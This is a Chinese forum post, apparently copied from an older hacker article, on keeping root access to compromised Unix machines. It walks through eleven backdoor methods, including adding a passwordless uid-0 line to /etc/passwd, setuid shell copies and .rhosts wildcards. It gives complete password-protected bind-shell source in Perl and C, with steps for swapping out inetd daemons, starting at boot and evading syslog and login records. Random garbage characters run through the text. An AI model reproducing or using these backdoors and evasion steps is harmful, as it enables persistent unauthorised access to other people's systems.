找回密码
 注册

QQ登录

只需一步,快速开始

如何创建后门

[复制链接]
发表于 2011-1-13 17:04:25 | 显示全部楼层 |阅读模式
参考文献: 9 ]" Y* z2 o' }
Article: backdoor from The Infinity Concept Issue II
4 B6 Z+ w7 G9 p$ U% |- t8 BSrc: b4b0.c by b4b0 ; T7 u$ V% G+ b6 c
Src: daemonsh.pl by van Hauser / [THC] in 1997'
5 r/ h' f8 p( J
7 V9 d; m2 Z6 e. L, E0 o--
0 D3 K4 R  V6 H; B: c. Q" v( {. U  V7 W: p$ J
千辛万苦(or 轻而易举)的取得root后,当然希望长久的保持. 以被以后用来。。。d0ing what u want t0 d0 :) 传统的方法就是建立一个后门(backd00r).即使入侵被发现,好 的(先进)后门仍然能够使你再次轻松的破门而入 -- 请记住: " we come back and we are the h.a.c.k.e.r " * }7 W8 w  Q+ |0 g6 i
--
! L2 c8 ]( r: J+ v! I创建后门的方法如下: 5 J! M4 J+ B8 ~$ U
-
1 j2 h2 O- T1 M- d& S2 W1 R% w1. setuid
! S: ~) V# z" H0 @5 {3 I#cp /bin/sh /tmp/.backdoor & k* o3 T3 Y1 @+ _
#chmod u+s /tmp/.backdoor " S$ e* H; x: @9 S6 b& S
加上 suid 位到shell 上,最为简单方便,但也最为容易被ADM 发现 find / -perm 4000 -print;同时在大多数的SUNOS 上 你会发现不能setuid。-- 适用于新手;
) C! O  l/ n" R9 s( T- 9 p6 Q- H1 t( U! H4 B3 U* m2 Y
2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd 即给系统增加一个 id 为 0(root)的帐号,无口令; 也很容易被发现。 -- 适用于新手; " S+ C) E( j( Q# a5 w  m* ^
-
) K4 b4 @" R( I8 \1 X# {3.echo "+ zer9">>/.rhosts
, Y+ T- A0 p/ g即本地的名为 zer9 的用户可以直接 rlogin target 无须口令此时的 zer9 就相当于口令,不知道的人是不能进去的. & X! B2 j( g$ ~8 G0 Z" c4 S
前提是目标的port 512or513or514 opening. 9 o8 P3 U9 a9 w+ `# q/ u
注: 如 echo "+ +">>/.rhosts 则任何用户都可rlogin至目标 导致目标门户打开,最好不要; 8 |  G- [# F4 E6 Z
还可 echo "+ +">>/etc/hosts.equiv 但这样不能取得root权限;-- 适用于比新手高一点点,比中级水平低一点点的guys; , v6 N! ~: U( g9 O; t
- 5 V! b6 Q" b$ P' P
4.modify sendmail.cf 增加一个"wiz" 命令;
# |" j, A5 A' R8 V: a% g' f/ `; pusage:
7 j4 _' F# e. {8 t8 e' n2 O- s! N) Ytelnet target 25 [enter]
8 @: r" o* H& X9 b4 Kwiz[enter]
3 M" o* w6 v. {' x这是我从SAFEsuite中学到的(但没试过);比较危险。因为几乎所有的扫描器都会刺探本漏洞。不过你可把命令本身该成其他不易猜到的名字。比较复杂,危险,但ADM不易发现,隐蔽性较强;你只在你的机器上试一试就okay了;-- 顾名思意,大师级漏洞; , |! U, z& e$ X* p2 S" k2 }& A# }9 m
-
  M  a2 D% c& |* I. Y. W# E& F5. crack suck as inetd,login,... & m8 G+ G2 z* y. [4 w  a: m* m! U
即安装它们的特络绎版本。你需要找到各版本unix的rootkit;然后分别编译即可;-- 如果目标机上没有安装 tripwire之类的东东,那几乎不可能被发现。linux&sunos&freebsd的可能好找,但其他的了?即使你找到了,你有对应平台上的编译器吗?我有一台运行 slackware,one running irix,one runningsunos,one running hpux,one running digits unix,... & n8 ~) P" M4 f, {, y
hahhahha,我又做梦了:)
2 W) {# e/ ~+ q5 k-- 我个人认为是最好的方法,但实现起来有一定风险,你必须考虑到如果你的木马运行出错怎么办--因为我们所做的一切都必须以不破坏目标机上的任何数据为原则; , ^7 K4 P) G! j/ q3 r5 n2 s& ^# v
- ' P! H; t" X. A
6.ping rem0te backd00r % X6 G+ s, W8 F6 A
即使是防火墙也很少阻止 ICMP 的通过,因此本后门可绕过防火墙。具体的程序你可在 [THC] 的主页发现;我想到了另外一种直接用ping命令实现的可通过防火墙的方法 :一方在防火墙内,一方在防火墙外;除 ICMP 外;通向防火墙内的信息均被过滤掉 :(用 60k data 代表长,10k data 代表短;使用摩尔思编码;(或其他自定义编码)双方通过 ICMPinfo 接受信息(ping 's data length);“嘀,嘀,嘀嘀,嘀,嘀嘀嘀...""长江长江,我是黄河--- 向我开炮!向我开炮”(^o^);以后有时间我会通过程序来实现验证可行性的。(技术上应该没有什么难度)
9 e1 y4 u6 L2 w  U% v- W- 4 m- s* U8 M1 u# H' }4 F
7.rem0te shell
# b6 T0 [9 y1 x7 L. U! l8 q我最喜欢的方式。而且由于绕开了login,故用 who 无法看到--也就是说,避开了utmp&utmpx&wtmp&wtmpx;但没有完全避开 syslogd.ADM仍可以在/var/log/messages中发现 ; b! z# t- Y; ^5 e7 \
你。不过,有一种方法可以彻底完全的旁路 syslogd!且听下面一一道来. . j5 D. T- a" }. K1 I$ }
bindshell的实现有两种:
7 p: E! ]- u, a7 Aa.
. c8 b4 }4 [6 A) }6 b替换掉 inetd.conf 中的不重要服务,如 rlogind :)在inetd 接受 connect 请求后,直接在本端口利用 system("/bin/csh -i");直接spam 出一个shell, " ]' d( l4 b- G& q2 }2 E! A: R
b. 接受 connect 后,在高端spam出一个shell; 1 \/ s. m0 D3 E. d3 _# N
(更安全 :)
" _  D6 B8 X* T% ?" H下面我给出一个perl 实现(不需socket libary支持)(pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2)和一个 gnuc 的实现(test on slackware 2.0.33&irix6.4)
- P* q9 `8 U' n5 v% v6 z% s. G--- - t, Z9 H- r3 J3 k4 v% h
perl 版安装方法: # w' n% U) k$ N% N
###无须编译!!只要目标机上有perl支持就okay!
4 b6 I$ k5 [6 [0 A/ u  P8 n如何判断有无perl: $/>perl [enter]
# \5 B4 y6 Q  T& v3 N, Y2 p, c
% Z) z. U$ b. r0 a* a  p[ctrl-c] " ]( x: \& Q6 L1 P5 t6 I' s( |7 M
$/>   @( s- }; {- K( Z& K/ c# d
-
9 M: o0 H2 `# s* r如果你对 /etc/inetd.conf 中的内容不是很熟的话,下面
, s, U3 T; P$ `7 x9 J, U  c6 g的方法有很大的危险性, exit(-1) please; : J8 x7 ^6 K1 W* l3 s: q
-
. C! I+ m( l$ k* {  g首先将源程序cut,存为你想要替换的daemon,如in.rexecd or or in.rlogind ,in.pop2d....最好是已经被ADM关掉了,而且不太引人注目的daemon,注意,一定要是 TCP types.然后 4 w; v3 x* w7 O% \3 p
mv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak :)) , q3 A, {5 b4 H- T0 M- |
cp in.rexecd /usr/sbin/in.rexecd
' s( i: q1 ]2 O; Z. E9 m' v+ q$ h然后 ps -aux|grep inetd;kill -HUP id(by inetd); . [7 j: Y5 G4 T' {+ I
okay! 连 /etc/inetd.conf 都不要改。重申一点:不论在任何情况下,我们都要尽最大的可能保护数据!
! Q- r6 X- V8 Q8 W. G" u3 U5 g& F-
9 ]( h& K6 u& v- [, A, w' x  cUsage: nc target (such as 512)   N3 V, D9 o1 B2 j  c& m( F+ n
[enter] ; U3 {; G& R4 @/ ]- I! }% L  c
ur passwd [enter]
; k8 L* a( e8 Y(then u login in...:)
6 E8 C% A9 X! A% Q- n
" o0 [  R4 L" a: Z0 G5 p  f. x----Cut Here------------------------------------------ " `. e8 j9 |; W
  o, ^2 w6 m; x
#!/usr/bin/perl
% }$ m  O( ~0 o* z: K) k% n! X# 0 x- I4 P8 Y0 k- B. e
# BEST , _( }: N4 j! c6 ]
# SIMPLE
. a* T7 E' |0 k3 B0 z1 A. x5 _# rem0te bind shell
4 e9 i# G0 \, x# M#[perl version only tcp]
* D* o- F5 S4 u% s# by
  c0 r* A3 ~2 v8 K* `# zer9[FTT] 2 e, Y. z4 \) Q' A- J/ |2 u# ~  ?
# zer9@21cn.com
( [! ^/ a) _  @4 b* Z/ c  M#passed on allmost unix
0 B$ w, e, f' i" x! x3 }#greet to:van Hauser/[THC] 8 J4 {0 ^" ?! h' e, w
# for his daemonshell.pl
4 S; x' e: N* v- j7 l% m, n* H#
; M9 x1 C1 L; f7 E) ~$SHELL="/bin/csh -i"; 5 n7 Q7 b4 V" R# K4 ]
#d3f4ult p4sswd 1s "wh04r3u" (no quote);
* o4 a* b* o  E$ ?$PASSWORD="BifqmATb6D5so";
! `# w" d; v, S+ d% }5 e' x8 f$ O7 K  _4 z+ i" ^! ?
if ($PASSWORD) {
" B4 ]! d: @0 e5 H6 f, \chop($pass=);
" U6 O& S9 x# F$ |2 V8 J" a2 \if (crypt($pass, $PASSWORD) ne $PASSWORD) { " B3 Z3 U" l9 L$ t6 N8 b
exit 0; 0 @2 P* s7 R( n
} # @. e. g' j! [# Y
exec $SHELL ;
% ^) ?' M$ D8 `4 t& Fexit 0;
7 w! C/ d' \* x' I  f* v( W/ \} / b/ m) y5 d% g
; ~8 y9 ^0 n. }% o, p
----Cut Here--------------------------------------------   M# k5 N" e8 W; D5 c
& D) ?" m% z# U  l7 c" X8 P
* l% T" P0 m6 U/ i) U
, ~1 L9 E0 }6 K/ Q) C' x

. s0 F. @5 G8 Q3 q: u+ C. H1 ]下面是一个for gnuc 的bindshell,first cut it,save as
* M9 s% f  X2 J% Q" Abackdoor.c ,then cc backdoor.c -o backdoor 5 F  ^, Y/ d/ ^0 y: [1 x
other action just l1ke before; 8 }1 `0 P& H8 Z0 U
Usage: (exp:binding to in.rlogind (513)) ( h6 L  C! L( q4 l, f& f: O" v
nc target 513 //spam a shell on the high port;   ?* [4 I& H/ [. w' `
nc target 54321
# O* f1 ~' W. ?( ]ur passwd $ }/ ]- [$ y* P6 m4 `
(then u coming in...) $ k* J0 t/ F8 I) q4 }4 A5 p

. `1 e1 U0 N+ a% w+ g
0 y* q6 E+ _  q----Cut Here------------------------------------- ; w  C$ @3 a5 R& |% B1 i
, |! @3 d' L7 Z, n& _. v' {- K) r
/* , A8 d; v4 y# H$ p5 N  v2 l2 \
* [ b i n d - s h e l l ] ( n4 Y/ G8 B: |) @2 a, R  S
* by
! I+ D( o9 M9 o* zer9[FTT] & p6 Z% d. Y% f+ @3 \% ^
* zer9@21cn.com : L( x$ H" `8 {" p& A
*test on slackware 2.0.33&irix6.4(cc) 8 D) q2 E# P  D) s% P& f
*cc backdoor.c -o backdoor ( i; B& }4 q7 D1 I
*u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m 5 T4 H& \1 @5 ]8 T
*c0mm4nd l1n3: backdoor [port]
& T' s  L/ U0 R+ N*d3fault p0rt 1s: 54321   N  D& E/ a( W( W1 O9 J
*greets to b4b0 for his b4b0.c
. O1 J- ]& |$ ]3 }/ G*m4yb3 1 c0uld s4y:
& h1 B. D' ]& z*"0k,b4b0.l1st3n c4r3fully;"
9 r- R) b, W$ A  q*s0rry,just a joke.
- |( f- L) ]3 c# W) \*
$ h, e  j) z! ^; l" D*/ 6 d& v" d; Y( k) u! h9 u4 p5 v
. ^8 U* P4 O, f
#include 3 s6 F% R. K# ?
#include
6 b% _* i* R5 c$ ?' ~#include
  R2 ~% ~$ A4 S( }+ L4 U! R#include ! h8 I4 b# l0 Y2 A. O; ~- M, }5 a& y
#include 2 }3 a8 s1 }8 a9 P
#include + a! O, q  l# k' M
#include
5 H( \8 y) ^/ Y# K, X6 t1 A
4 D! m+ H5 Y' @7 v' I3 K5 O9 H7 G. }" j: m
#define PassWord "k1n90fth3w0rld" / n1 Y6 u8 K6 P& ]3 n, ?" ]" q( `
/* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */ ) u7 m, h( n4 U& ~5 V  n5 {) _; L

. t5 B: c; G, D7 _0 f1 ^#define DefaultPort 54321 " X6 I: T) B; n6 u
/* d3f4ult b1nd1ng p0rt */ 5 x6 X9 j9 i# C3 g% @( z

7 P* f. N4 r3 g8 W: i+ m. @, c) Mint main(int argc,char **argv)
8 U$ E& w4 m  z{   L4 u) P6 o/ @& |" {
int s,in_s; - p/ V# ~' c$ {
struct sockaddr_in server,client; ( r. [+ M' _- g9 ^6 }0 d# Z. X
int client_len,bindport;
: J8 K, H  X: M1 Ochar recvbuf[1000]; 1 k, ^$ p0 Y8 O  j5 X. k

  }+ g+ ^7 m! u' dif(argc!=2) bindport=DefaultPort;
( [/ u) r7 u: A6 Felse 3 r: B5 t# J# ?
bindport=atoi(argv[1]); - k( H0 g9 l: @' x- V. D2 ^: c
if((s=socket(AF_INET,SOCK_STREAM,0))<0) 5 Z' v, H( l* F( u" e$ B
{
0 D, K% m  \1 W# O! V( ]perror("socket");
( ?" B( {. N/ ^6 P4 S  breturn -1;
: K3 i/ @; [# B1 N0 d9 N- Q} # G' {" x# D* i
bzero((char *)&server,sizeof(server));
2 B% E. v; z0 B$ M, fbzero((char *)&client,sizeof(client));
# G. }1 V  e0 o1 B* tbzero(recvbuf,sizeof(recvbuf)); ' S" @7 Q+ k4 W. Y( F
server.sin_family=AF_INET; - ?2 ^) q* L! E5 P9 ?
server.sin_port=htons(bindport); ' D0 b& A2 T4 Y4 k
server.sin_addr.s_addr=INADDR_ANY;
: A- d- {0 ]0 Y; vif(bind(s,(struct sockaddr *)&server,sizeof(server))<0)
6 c+ M  j1 D' M{ , ~) X- l- s! \& v/ F- s; a+ C$ a
perror("bind");
3 O4 h0 `. p0 E$ Z/ Z* {# _return -1; . b2 g: @# V9 r1 R* f
}
9 j& T: E3 E6 P+ O7 Iif(listen(s,3)!=0) 6 q$ u$ u8 m/ [4 J
{
1 J& R5 V! f$ T9 f7 @perror("listen");
! v7 G9 X' m; Lreturn -1; ! N  \5 u( [0 W8 C$ D/ {% L
}
, P! a% [7 B+ a' M$ T: v8 Tclient_len=sizeof(client); 3 A% @! |" u6 x; K
if((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0)
5 v( l# \8 u/ `, N4 d& Z' X4 s{
( F$ {  U# [( D7 eperror("accept");
4 v# u% J8 h( h6 D( ^return -1;
8 y. ]0 @4 V/ T0 O} 3 t% a4 I$ ~# ~: }
recv(in_s,recvbuf,sizeof(recvbuf),0); & W2 }0 ^1 ]! N' r2 k
sleep(1); : a1 [( P4 r. G  j
if((strlen(recvbuf)-1)==strlen(PassWord)) ( F+ w0 N3 X4 ?$ W# N2 \$ i  o# k
if(!strncmp(recvbuf,PassWord,strlen(PassWord)))
; ]+ H8 @+ K& P' R- F$ `{ + a/ x  _5 t) q5 t0 r9 P$ c
send(in_s,"0k4y! c0m1ng 1n...\n",25,0);
( R) f" g+ D! B& G3 u) Xclose(0);close(1);close(2);
0 I  ]+ K* ^6 cdup2(in_s,0);dup2(in_s,1);dup2(in_s,2); $ B% i; f# ?, `* I
execl("/bin/csh","/bin/csh",(char *)0); ) B0 u5 n* W' X% m
}
, b0 ?3 ^1 q4 _. U+ h) o# }close(s); # ~6 ^- e9 a/ R% M4 e* t; E1 X
close(in_s);
: z- V! ^$ @- ]3 ureturn 0; ! o) g* B& u9 t1 J/ H. w% L  ?
}   Y4 t* ]7 c" S: U# U2 D
5 y8 T5 g8 B4 N3 ^
----Cut Here-------------------------------------------------
3 p  q" H8 a$ {+ _3 T" D4 o9 a% d* ^' E1 D1 u
用上面的方法都不能完全的避开syslogd,因为他们都是由inetd 启动的,inetd启动它们的同时已经进行log 了;旁路掉inetd就能完全避开syslog!方法很简单,只要直接在命令行直接启动例程2(c)就可以了,(1perl不行);不过这样很麻烦;一旦ADM关掉计算机就玩完了;比较好的方法是在 /etc/rc.d/rc.local中加入:
6 f2 y, ~% P# R( n1 r6 C/ wbackdoor & ; i/ b( P! f9 [) {2 Q# [$ I, \
但即使这样作了,每次用过后还要再起动一次;更好的方法是写一个具有完全功能(后门功能^o^)的daemon,彻底的解决这个问题;但这样做与hack inetd 那样更有效率(安全)了? ) ?( ~  W% p. ^* Y: I  A( V0 c
--
$ @0 p4 H$ N3 T0 f8 \8.第八种武器就是 crontab
  R# f+ W  J9 G; }2 }- c! Z我只知道原理,没实践过.每到一定时间就往 /etc/passwd 中加入一条uid为0(root) + Z: E& t3 C$ M7 Q5 B
的用户;时间一道就delete ,或创建suid's shell...在序言中提到的文章中有详细介绍;
: X4 T* U. X* d$ C8 U4 b  ?% K-- $ o4 X) {; l; H1 m4 P, A- n6 r: r3 z
9.有没有想过只要向系统的一个用户发一个email,OS 就会spam出一个shell?利用用户的home目录下的 .forward 可作到这一点。 ! e5 x2 c6 l1 |3 Q
--
& C7 }- x: i2 t10。修改内核--超级高手的做法;2.2.0的解压文件达到了50几MB,看到就头痛。接着就 jmp ffff0 :) (不是看到内容,而是看到大小);[THC]最近出了篇文章关于这个的。你对自己有信心的话可以看看; $ Y1 A& `7 k( [1 J( F9 d
--
( }; B: ^( E  I! U11.还有就是利用 overflow 程序,虽然我们一般是利用它取得root;但只要 ADM && u 没有 patch ,始终我们可以利用它的,与suid不同的是它不怕被 find / -perm 4000 发现;一般只有 tripwire可发现。
! R: {& m+ ?( k; L1 c
5 p  w7 E% L( Z$ X! W" G
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|本地广告联系: QQ:905790666 TEL:13176190456|Archiver|手机版|小黑屋|汶上信息港 ( 鲁ICP备19052200号-1 )

GMT+8, 2025-4-26 05:43

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表